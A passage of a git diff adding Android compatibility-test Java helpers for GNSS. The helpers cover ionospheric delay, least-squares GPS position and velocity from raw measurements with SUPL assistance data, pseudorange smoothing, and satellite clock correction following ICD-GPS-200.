+    if (periodOfDelaySeconds < PERIOD_OF_DELAY_TRHESHOLD_SECONDS) {
+      periodOfDelaySeconds = PERIOD_OF_DELAY_TRHESHOLD_SECONDS;
+    }
+
+    // phase of ionospheric delay
+    double phaseOfDelayRadians =
+        2 * Math.PI * (localTimeSeconds - DELAY_PHASE_TIME_CONSTANT_SECONDS) / periodOfDelaySeconds;
+
+    // slant factor
+    double slantFactor = 1.0 + 16.0 * Math.pow(0.53 - elevationSemiCircle, 3);
+
+    // ionospheric time delay (seconds)
+    double ionoDelaySeconds;
+
+    if (Math.abs(phaseOfDelayRadians) >= Math.PI / 2.0) {
+      ionoDelaySeconds = DC_TERM * slantFactor;
+    } else {
+      ionoDelaySeconds = (DC_TERM
+          + (1 - Math.pow(phaseOfDelayRadians, 2) / 2.0 + Math.pow(phaseOfDelayRadians, 4) / 24.0)
+          * amplitudeOfDelaySeconds) * slantFactor;
+    }
+    
+    // apply factor for frequency bands other than L1 
+    ionoDelaySeconds *= (L1_FREQ_HZ * L1_FREQ_HZ) / (frequencyHz * frequencyHz);
+
+    return ionoDelaySeconds;
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java
new file mode 100644
index 0000000..891a78d
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangePositionVelocityFromRealTimeEvents.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.util.Log;
+import android.location.cts.gnss.pseudorange.Ecef2EnuConverter.EnuValues;
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.gnss.suplClient.SuplRrlpController;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class for calculating GPS position and velocity solution using weighted least squares
+ * where the raw GPS measurements are parsed as a {@link BufferedReader}.
+ *
+ */
+public class PseudorangePositionVelocityFromRealTimeEvents {
+
+  private static final String TAG = "PseudorangePositionVelocityFromRealTimeEvents";
+  private static final double SECONDS_PER_NANO = 1.0e-9;
+  private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
+  /** Average signal travel time from GPS satellite and earth */
+  private static final int VALID_ACCUMULATED_DELTA_RANGE_STATE = 1;
+  private static final int MINIMUM_NUMBER_OF_USEFUL_SATELLITES = 4;
+  private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+  /** Maximum possible number of GPS satellites */
+  private static final int MAX_NUMBER_OF_SATELLITES = 32;
+
+  private static final String SUPL_SERVER_NAME = "supl.google.com";
+  private static final int SUPL_SERVER_PORT = 7276;
+
+  private static final double GPS_L5_FREQ_HZ_LOWER_BOUND = 1.164e9;
+  private static final double GPS_L5_FREQ_HZ_UPPER_BOUND = 1.189e9;
+
+  private final double[] mPositionSolutionLatLngDeg = {Double.NaN, Double.NaN, Double.NaN};
+  private final double[] mVelocitySolutionEnuMps = {Double.NaN, Double.NaN, Double.NaN};
+  private final double[] mPositionVelocityUncertaintyEnu = {
+      Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN
+  };
+  private boolean mFirstUsefulMeasurementSet = true;
+  private int[] mReferenceLocation = null;
+  private long mLastReceivedSuplMessageTimeMillis = 0;
+  private long mDeltaTimeMillisToMakeSuplRequest = TimeUnit.MINUTES.toMillis(30);
+  private boolean mFirstSuplRequestNeeded = true;
+  private GpsNavMessageProto mGpsNavMessageProtoUsed = null;
+
+  private final UserPositionVelocityWeightedLeastSquare mUserPositionVelocityLeastSquareCalculator =
+      new UserPositionVelocityWeightedLeastSquare();
+  private GpsMeasurement[] mUsefulSatellitesToReceiverMeasurements =
+      new GpsMeasurement[MAX_NUMBER_OF_SATELLITES];
+  private Long[] mUsefulSatellitesToTowNs = new Long[MAX_NUMBER_OF_SATELLITES];
+  private long mLargestTowNs = Long.MIN_VALUE;
+  private double mArrivalTimeSinceGPSWeekNs = 0.0;
+  private int mDayOfYear1To366 = 0;
+  private int mGpsWeekNumber = 0;
+  private long mArrivalTimeSinceGpsEpochNs = 0;
+
+  /**
+   * Computes Weighted least square position and velocity solutions from a received
+   * {@link GnssMeasurementsEvent} and store the result in {@link
+   * PseudorangePositionVelocityFromRealTimeEvents#mPositionSolutionLatLngDeg} and
+   * {@link PseudorangePositionVelocityFromRealTimeEvents#mVelocitySolutionEnuMps}
+   */
+  public void computePositionVelocitySolutionsFromRawMeas(GnssMeasurementsEvent event)
+      throws Exception {
+    if (mReferenceLocation == null) {
+      // If no reference location is received, we can not get navigation message from SUPL and hence
+      // we will not try to compute location.
+      Log.d(TAG, " No reference Location ..... no position is calculated");
+      return;
+    }
+    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+      mUsefulSatellitesToReceiverMeasurements[i] = null;
+      mUsefulSatellitesToTowNs[i] = null;
+    }
+    
+      GnssClock gnssClock = event.getClock();
+    mArrivalTimeSinceGpsEpochNs = gnssClock.getTimeNanos() - gnssClock.getFullBiasNanos();
+      for (GnssMeasurement measurement : event.getMeasurements()) {
+      // ignore any measurement if it is not from GPS constellation
+      if (measurement.getConstellationType() != GnssStatus.CONSTELLATION_GPS) {
+          continue;
+        }
+
+      if (isGpsL5FrequencyHz(measurement.getCarrierFrequencyHz())) {
+        continue;
+      }
+
+        // ignore raw data if time is zero, if signal to noise ratio is below threshold or if
+        // TOW is not yet decoded
+        if (measurement.getCn0DbHz() >= C_TO_N0_THRESHOLD_DB_HZ
+            && (measurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) != 0) {
+          // calculate day of year and Gps week number needed for the least square
+          GpsTime gpsTime = new GpsTime(mArrivalTimeSinceGpsEpochNs);
+          // Gps weekly epoch in Nanoseconds: defined as of every Sunday night at 00:00:000
+          long gpsWeekEpochNs = GpsTime.getGpsWeekEpochNano(gpsTime);
+          mArrivalTimeSinceGPSWeekNs = mArrivalTimeSinceGpsEpochNs - gpsWeekEpochNs;
+          mGpsWeekNumber = gpsTime.getGpsWeekSecond().first;
+          // calculate day of the year between 1 and 366
+          Calendar cal = gpsTime.getTimeInCalendar();
+          mDayOfYear1To366 = cal.get(Calendar.DAY_OF_YEAR);
+
+          long receivedGPSTowNs = measurement.getReceivedSvTimeNanos();
+          if (receivedGPSTowNs > mLargestTowNs) {
+            mLargestTowNs = receivedGPSTowNs;
+          }
+          mUsefulSatellitesToTowNs[measurement.getSvid() - 1] = receivedGPSTowNs;
+          GpsMeasurement gpsReceiverMeasurement =
+              new GpsMeasurement(
+                  (long) mArrivalTimeSinceGPSWeekNs,
+                  measurement.getAccumulatedDeltaRangeMeters(),
+                  measurement.getAccumulatedDeltaRangeState()
+                      == VALID_ACCUMULATED_DELTA_RANGE_STATE,
+                  measurement.getPseudorangeRateMetersPerSecond(),
+                  measurement.getCn0DbHz(),
+                  measurement.getAccumulatedDeltaRangeUncertaintyMeters(),
+                  measurement.getPseudorangeRateUncertaintyMetersPerSecond());
+          mUsefulSatellitesToReceiverMeasurements[measurement.getSvid() - 1] =
+              gpsReceiverMeasurement;
+        }
+      }
+
+    Log.d(TAG, "Using navigation message from SUPL server");
+    if (mFirstSuplRequestNeeded
+        || (System.currentTimeMillis() - mLastReceivedSuplMessageTimeMillis)
+            > mDeltaTimeMillisToMakeSuplRequest) {
+      // The following line is blocking call for SUPL connection and back. But it is fast enough
+      mGpsNavMessageProtoUsed = getSuplNavMessage(mReferenceLocation[0], mReferenceLocation[1]);
+      if (!isEmptyNavMessage(mGpsNavMessageProtoUsed)) {
+        mFirstSuplRequestNeeded = false;
+        mLastReceivedSuplMessageTimeMillis = System.currentTimeMillis();
+      } else {
+        return;
+      }
+    }
+
+
+    // some times the SUPL server returns less satellites than the visible ones, so remove those
+    // visible satellites that are not returned by SUPL
+    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+      if (mUsefulSatellitesToReceiverMeasurements[i] != null
+          && !navMessageProtoContainsSvid(mGpsNavMessageProtoUsed, i + 1)) {
+        mUsefulSatellitesToReceiverMeasurements[i] = null;
+        mUsefulSatellitesToTowNs[i] = null;
+      }
+    }
+      
+      // calculate the number of useful satellites
+      int numberOfUsefulSatellites = 0;
+      for (int i = 0; i < mUsefulSatellitesToReceiverMeasurements.length; i++) {
+        if (mUsefulSatellitesToReceiverMeasurements[i] != null) {
+          numberOfUsefulSatellites++;
+        }
+      }
+      if (numberOfUsefulSatellites >= MINIMUM_NUMBER_OF_USEFUL_SATELLITES) {
+        // ignore first set of > 4 satellites as they often result in erroneous position
+        if (!mFirstUsefulMeasurementSet) {
+          // start with last known position and velocity of zero. Following the structure:
+          // [X position, Y position, Z position, clock bias,
+          //  X Velocity, Y Velocity, Z Velocity, clock bias rate]
+          double[] positionVeloctySolutionEcef = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+          double[] positionVelocityUncertaintyEnu = new double[] {0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
+          performPositionVelocityComputationEcef(
+              mUserPositionVelocityLeastSquareCalculator,
+              mUsefulSatellitesToReceiverMeasurements,
+              mUsefulSatellitesToTowNs,
+              mLargestTowNs,
+              mArrivalTimeSinceGPSWeekNs,
+              mDayOfYear1To366,
+              mGpsWeekNumber,
+              positionVeloctySolutionEcef,
+              positionVelocityUncertaintyEnu);
+          // convert the position solution from ECEF to latitude, longitude and altitude
+          GeodeticLlaValues latLngAlt =
+              Ecef2LlaConverter.convertECEFToLLACloseForm(
+                  positionVeloctySolutionEcef[0],
+                  positionVeloctySolutionEcef[1],
+                  positionVeloctySolutionEcef[2]);
+          mPositionSolutionLatLngDeg[0] = Math.toDegrees(latLngAlt.latitudeRadians);
+          mPositionSolutionLatLngDeg[1] = Math.toDegrees(latLngAlt.longitudeRadians);
+          mPositionSolutionLatLngDeg[2] = latLngAlt.altitudeMeters;
+          mPositionVelocityUncertaintyEnu[0] = positionVelocityUncertaintyEnu[0];
+          mPositionVelocityUncertaintyEnu[1] = positionVelocityUncertaintyEnu[1];
+          mPositionVelocityUncertaintyEnu[2] = positionVelocityUncertaintyEnu[2];
+          Log.d(TAG,
+              "Position Uncertainty ENU Meters :"
+                  + mPositionVelocityUncertaintyEnu[0]
+                  + " "
+                  + mPositionVelocityUncertaintyEnu[1]
+                  + " "
+                  + mPositionVelocityUncertaintyEnu[2]);
+          Log.d(
+              TAG,
+              "Latitude, Longitude, Altitude: "
+                  + mPositionSolutionLatLngDeg[0]
+                  + " "
+                  + mPositionSolutionLatLngDeg[1]
+                  + " "
+                  + mPositionSolutionLatLngDeg[2]);
+          EnuValues velocityEnu = Ecef2EnuConverter.convertEcefToEnu(
+              positionVeloctySolutionEcef[4],
+              positionVeloctySolutionEcef[5],
+              positionVeloctySolutionEcef[6],
+              latLngAlt.latitudeRadians,
+              latLngAlt.longitudeRadians
+          );
+
+          mVelocitySolutionEnuMps[0] = velocityEnu.enuEast;
+          mVelocitySolutionEnuMps[1] = velocityEnu.enuNorth;
+          mVelocitySolutionEnuMps[2] = velocityEnu.enuUP;
+          Log.d(
+              TAG,
+              "Velocity ENU Mps: "
+                  + mVelocitySolutionEnuMps[0]
+                  + " "
+                  + mVelocitySolutionEnuMps[1]
+                  + " "
+                  + mVelocitySolutionEnuMps[2]);
+          mPositionVelocityUncertaintyEnu[3] = positionVelocityUncertaintyEnu[3];
+          mPositionVelocityUncertaintyEnu[4] = positionVelocityUncertaintyEnu[4];
+          mPositionVelocityUncertaintyEnu[5] = positionVelocityUncertaintyEnu[5];
+          Log.d(TAG,
+              "Velocity Uncertainty ENU Mps :"
+                  + mPositionVelocityUncertaintyEnu[3]
+                  + " "
+                  + mPositionVelocityUncertaintyEnu[4]
+                  + " "
+                  + mPositionVelocityUncertaintyEnu[5]);
+        }
+        mFirstUsefulMeasurementSet = false;
+      } else {
+        Log.d(
+            TAG,
+            "Less than four satellites with SNR above threshold visible ... "
+                + "no position is calculated!");
+
+        mPositionSolutionLatLngDeg[0] = Double.NaN;
+        mPositionSolutionLatLngDeg[1] = Double.NaN;
+        mPositionSolutionLatLngDeg[2] = Double.NaN;
+        mVelocitySolutionEnuMps[0] = Double.NaN;
+        mVelocitySolutionEnuMps[1] = Double.NaN;
+        mVelocitySolutionEnuMps[2] = Double.NaN;
+    }
+  }
+
+  private static boolean isGpsL5FrequencyHz(float carrierFrequencyHz) {
+    return carrierFrequencyHz >= GPS_L5_FREQ_HZ_LOWER_BOUND
+            && carrierFrequencyHz <= GPS_L5_FREQ_HZ_UPPER_BOUND;
+  }
+
+  private boolean isEmptyNavMessage(GpsNavMessageProto navMessageProto) {
+    if(navMessageProto.iono == null)return true;
+    if(navMessageProto.ephemerids.length ==0)return true;
+    return  false;
+  }
+
+  private boolean navMessageProtoContainsSvid(GpsNavMessageProto navMessageProto, int svid) {
+    List<GpsEphemerisProto> ephemeridesList =
+        new ArrayList<GpsEphemerisProto>(Arrays.asList(navMessageProto.ephemerids));
+    for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+      if (ephProtoFromList.prn == svid) {
+        return true;
+      }
+    }
+    return false;
+  }
+
+  /**
+   * Calculates ECEF least square position and velocity solutions from an array of
+   * {@link GpsMeasurement} in meters and meters per second and store the result in
+   * {@code positionVelocitySolutionEcef}
+   */
+  private void performPositionVelocityComputationEcef(
+      UserPositionVelocityWeightedLeastSquare userPositionVelocityLeastSquare,
+      GpsMeasurement[] usefulSatellitesToReceiverMeasurements,
+      Long[] usefulSatellitesToTOWNs,
+      long largestTowNs,
+      double arrivalTimeSinceGPSWeekNs,
+      int dayOfYear1To366,
+      int gpsWeekNumber,
+      double[] positionVelocitySolutionEcef,
+      double[] positionVelocityUncertaintyEnu)
+      throws Exception {
+
+    List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+        UserPositionVelocityWeightedLeastSquare.computePseudorangeAndUncertainties(
+            Arrays.asList(usefulSatellitesToReceiverMeasurements),
+            usefulSatellitesToTOWNs,
+            largestTowNs);
+
+    // calculate iterative least square position solution and velocity solutions
+    userPositionVelocityLeastSquare.calculateUserPositionVelocityLeastSquare(
+        mGpsNavMessageProtoUsed,
+        usefulSatellitesToPseudorangeMeasurements,
+        arrivalTimeSinceGPSWeekNs * SECONDS_PER_NANO,
+        gpsWeekNumber,
+        dayOfYear1To366,
+        positionVelocitySolutionEcef,
+        positionVelocityUncertaintyEnu);
+
+    Log.d(
+        TAG,
+        "Least Square Position Solution in ECEF meters: "
+            + positionVelocitySolutionEcef[0]
+            + " "
+            + positionVelocitySolutionEcef[1]
+            + " "
+            + positionVelocitySolutionEcef[2]);
+    Log.d(TAG, "Estimated Receiver clock offset in meters: " + positionVelocitySolutionEcef[3]);
+
+    Log.d(TAG, "Velocity Solution in ECEF Mps: "
+        + positionVelocitySolutionEcef[4]
+        + " "
+        + positionVelocitySolutionEcef[5]
+        + " "
+        + positionVelocitySolutionEcef[6]);
+    Log.d(TAG, "Estimated Reciever clock offset rate in mps: " + positionVelocitySolutionEcef[7]);
+  }
+
+  /**
+   * Reads the navigation message from the SUPL server by creating a Stubby client to Stubby server
+   * that wraps the SUPL server. The input is the time in nanoseconds since the GPS epoch at which
+   * the navigation message is required and the output is a {@link GpsNavMessageProto}
+   *
+   * @throws IOException
+   * @throws UnknownHostException
+   */
+  private GpsNavMessageProto getSuplNavMessage(long latE7, long lngE7)
+      throws UnknownHostException, IOException {
+    SuplRrlpController suplRrlpController =
+        new SuplRrlpController(SUPL_SERVER_NAME, SUPL_SERVER_PORT);
+    GpsNavMessageProto navMessageProto = suplRrlpController.generateNavMessage(latE7, lngE7);
+
+    return navMessageProto;
+  }
+
+  /** Sets a rough location of the receiver that can be used to request SUPL assistance data */
+  public void setReferencePosition(int latE7, int lngE7, int altE7) {
+    if (mReferenceLocation == null) {
+      mReferenceLocation = new int[3];
+    }
+    mReferenceLocation[0] = latE7;
+    mReferenceLocation[1] = lngE7;
+    mReferenceLocation[2] = altE7;
+  }
+
+  /** Returns the last computed weighted least square position solution */
+  public double[] getPositionSolutionLatLngDeg() {
+    return mPositionSolutionLatLngDeg;
+  }
+
+  /** Returns the last computed Velocity solution */
+  public double[] getVelocitySolutionEnuMps() {
+    return mVelocitySolutionEnuMps;
+  }
+
+  /** Returns the last computed position velocity uncertainties in meters and meter per seconds,
+   * consecutively.  */
+  public double[] getPositionVelocityUncertaintyEnu() {
+    return mPositionVelocityUncertaintyEnu;
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java
new file mode 100644
index 0000000..ba98152
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import java.util.List;
+
+/**
+ * Interface for smoothing a list of {@link GpsMeasurementWithRangeAndUncertainty} instances
+ * received at a point of time.
+ */
+interface PseudorangeSmoother {
+
+  /**
+   * Takes an input list of {@link GpsMeasurementWithRangeAndUncertainty} instances and returns a
+   * new list that contains smoothed pseudorange measurements.
+   *
+   * <p>The input list is of size {@link GpsNavigationMessageStore#MAX_NUMBER_OF_SATELLITES} with
+   * not visible GPS satellites having null entries, and the returned new list is of the same size.
+   *
+   * <p>The method does not modify the input list.
+   */
+  List<GpsMeasurementWithRangeAndUncertainty> updatePseudorangeSmoothingResult(
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToGPSReceiverMeasurements);
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java
new file mode 100644
index 0000000..775ab7e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss.pseudorange;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+/**
+ * Calculate the GPS satellite clock correction based on parameters observed from the navigation
+ * message
+ * <p>Source: Page 88 - 90 of the ICD-GPS 200
+ */
+public class SatelliteClockCorrectionCalculator {
+  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+  private static final double EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 = 3.986005e14;
+  private static final double RELATIVISTIC_CONSTANT_F = -4.442807633e-10;
+  private static final int SECONDS_IN_WEEK = 604800;
+  private static final double ACCURACY_TOLERANCE = 1.0e-11;
+  private static final int MAX_ITERATIONS = 100;
+  /**
+   * Compute the GPS satellite clock correction term in meters iteratively following page 88 - 90
+   * and 98 - 100 of the ICD GPS 200. The method returns a pair of satellite clock correction in
+   * meters and Kepler Eccentric Anomaly in Radians.
+   *
+   * @param ephemerisProto parameters of the navigation message
+   * @param receiverGpsTowAtTimeOfTransmission Reciever estimate of GPS time of week when signal was
+   *        transmitted (seconds)
+   * @param receiverGpsWeekAtTimeOfTrasnmission Receiver estimate of GPS week when signal was
+   *        transmitted (0-1024+)
+   * @throws Exception
+   */
+  public static SatClockCorrection calculateSatClockCorrAndEccAnomAndTkIteratively(
+      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmission,
+      double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+    // Units are not added in the variable names to have the same name as the ICD-GPS200
+    // Mean anomaly (radians)
+    double meanAnomalyRad;
+    // Kepler's Equation for Eccentric Anomaly iteratively (Radians)
+    double eccentricAnomalyRad;
+    // Semi-major axis of orbit (meters)
+    double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+    // Computed mean motion (radians/seconds)
+    double n0 = Math.sqrt(EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 / (a * a * a));
+    // Corrected mean motion (radians/seconds)
+    double n = n0 + ephemerisProto.deltaN;
+    // In the following, Receiver GPS week and ephemeris GPS week are used to correct for week
+    // rollover when calculating the time from clock reference epoch (tcSec)
+    double timeOfTransmissionIncludingRxWeekSec =
+        receiverGpsWeekAtTimeOfTrasnmission * SECONDS_IN_WEEK + receiverGpsTowAtTimeOfTransmission;
+    // time from clock reference epoch (seconds) page 88 ICD-GPS200
+    double tcSec = timeOfTransmissionIncludingRxWeekSec
+        - (ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toc);
+    // Correction for week rollover
+    tcSec = fixWeekRollover(tcSec);
+    double oldEcentricAnomalyRad = 0.0;
+    double newSatClockCorrectionSeconds = 0.0;
+    double relativisticCorrection = 0.0;
+    double changeInSatClockCorrection = 0.0;
+    // Initial satellite clock correction (unknown relativistic correction). Iterate to correct
+    // with the relativistic effect and obtain a stable
+    final double initSatClockCorrectionSeconds = ephemerisProto.af0
+        + ephemerisProto.af1 * tcSec
+        + ephemerisProto.af2 * tcSec * tcSec - ephemerisProto.tgd;
+    double satClockCorrectionSeconds = initSatClockCorrectionSeconds;
+    double tkSec;
+    int satClockCorrectionsCounter = 0;
+    do {
+      int eccentricAnomalyCounter = 0;
+      // time from ephemeris reference epoch (seconds) page 98 ICD-GPS200
+      tkSec = timeOfTransmissionIncludingRxWeekSec - (
+          ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+              + satClockCorrectionSeconds);
+      // Correction for week rollover
+      tkSec = fixWeekRollover(tkSec);
+      // Mean anomaly (radians)
+      meanAnomalyRad = ephemerisProto.m0 + n * tkSec;
+      // eccentric anomaly (radians)
+      eccentricAnomalyRad = meanAnomalyRad;
+      // Iteratively solve for Kepler's eccentric anomaly according to ICD-GPS200 page 99
+      do {
+        oldEcentricAnomalyRad = eccentricAnomalyRad;
+        eccentricAnomalyRad =
+            meanAnomalyRad + ephemerisProto.e * Math.sin(eccentricAnomalyRad);
+        eccentricAnomalyCounter++;
+        if (eccentricAnomalyCounter > MAX_ITERATIONS) {
+          throw new Exception("Kepler Eccentric Anomaly calculation did not converge in "
+              + MAX_ITERATIONS + " iterations");
+        }
+      } while (Math.abs(oldEcentricAnomalyRad - eccentricAnomalyRad) > ACCURACY_TOLERANCE);
+      // relativistic correction term (seconds)
+      relativisticCorrection = RELATIVISTIC_CONSTANT_F * ephemerisProto.e
+          * ephemerisProto.rootOfA * Math.sin(eccentricAnomalyRad);
+      // satellite clock correction including relativistic effect
+      newSatClockCorrectionSeconds = initSatClockCorrectionSeconds + relativisticCorrection;
+      changeInSatClockCorrection =
+          Math.abs(satClockCorrectionSeconds - newSatClockCorrectionSeconds);
+      satClockCorrectionSeconds = newSatClockCorrectionSeconds;
+      satClockCorrectionsCounter++;
+      if (satClockCorrectionsCounter > MAX_ITERATIONS) {
+        throw new Exception("Satellite Clock Correction calculation did not converge in "
+            + MAX_ITERATIONS + " iterations");
+      }
+    } while (changeInSatClockCorrection > ACCURACY_TOLERANCE);
+    tkSec = timeOfTransmissionIncludingRxWeekSec - (
+        ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+            + satClockCorrectionSeconds);
+    // return satellite clock correction (meters) and Kepler Eccentric Anomaly in Radians
+    return new SatClockCorrection(satClockCorrectionSeconds * SPEED_OF_LIGHT_MPS,
+        eccentricAnomalyRad, tkSec);
+  }
+
+  /**
+   * Calculates Satellite Clock Error Rate in (meters/second) by subtracting the Satellite
+   * Clock Error Values at t+0.5s and t-0.5s.
+   *
+   * <p>This approximation is more accurate than differentiating because both the orbital
+   * and relativity terms have non-linearities that are not easily differentiable.
+   */
+  public static double calculateSatClockCorrErrorRate(
+      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionSeconds,
+      double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+    SatClockCorrection satClockCorrectionPlus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+        ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds + 0.5,
+        receiverGpsWeekAtTimeOfTrasnmission);
+    SatClockCorrection satClockCorrectionMinus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+        ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds - 0.5,
+        receiverGpsWeekAtTimeOfTrasnmission);
+    double satelliteClockErrorRate = satClockCorrectionPlus.satelliteClockCorrectionMeters
+        - satClockCorrectionMinus.satelliteClockCorrectionMeters;
+    return satelliteClockErrorRate;
+  }
+
+  /**
+   * Method to check for week rollover according to ICD-GPS 200 page 98.
+   *
+   * <p>Result should be between -302400 and 302400 if the ephemeris is within one week of
+   * transmission, otherwise it is adjusted to the correct range
+   */
+  private static double fixWeekRollover(double time) {
+    double correctedTime = time;
+    if (time > SECONDS_IN_WEEK / 2.0) {
+      correctedTime = time - SECONDS_IN_WEEK;
+    }
+    if (time < -SECONDS_IN_WEEK / 2.0) {
+      correctedTime = time + SECONDS_IN_WEEK;
+    }
+    return correctedTime;
+  }
+  /**
+   *
+   * Class containing the satellite clock correction parameters: The satellite clock correction in
+   * meters, Kepler Eccentric Anomaly in Radians and the time from the reference epoch in seconds.
+   */
+  public static class SatClockCorrection {
+    /**
+     *  Satellite clock correction in meters
+     */
+    public final double satelliteClockCorrectionMeters;
+    /**
+     *  Satellite clock correction in meters
+     */
+    public final double satelliteClockRateCorrectionMetersPerSecond;
+    /**
+     * Kepler Eccentric Anomaly in Radians
+     */
+    public final double eccentricAnomalyRadians;
+    /**
+     *  Time from the reference epoch in Seconds
+     */
+    public final double timeFromRefEpochSec;
+    /**
+     * Constructor
+     */
+    public SatClockCorrection(double satelliteClockCorrectionMeters, double eccentricAnomalyRadians,
+        double timeFromRefEpochSec) {
+      this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+      this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+      this.timeFromRefEpochSec = timeFromRefEpochSec;
+      this.satelliteClockRateCorrectionMetersPerSecond = Double.NaN;
+    }
+    /**
+     * Alternative Constructor
+     */
+    public SatClockCorrection(double satelliteClockCorrectionMeters,
+        double satelliteClockRateCorrectionMeters, double eccentricAnomalyRadians,
+        double timeFromRefEpochSec){
+      this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+      this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+      this.timeFromRefEpochSec = timeFromRefEpochSec;
+      this.satelliteClockRateCorrectionMetersPerSecond = satelliteClockRateCorrectionMeters;
+    }
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java
new file mode 100644
index 0000000..9199c75
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java
@@ -0,0 +1,298 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.SatelliteClockCorrectionCalculator.SatClockCorrection;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+
+/* Class to calculate GPS satellite positions from the ephemeris data */
+public class SatellitePositionCalculator {
+  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
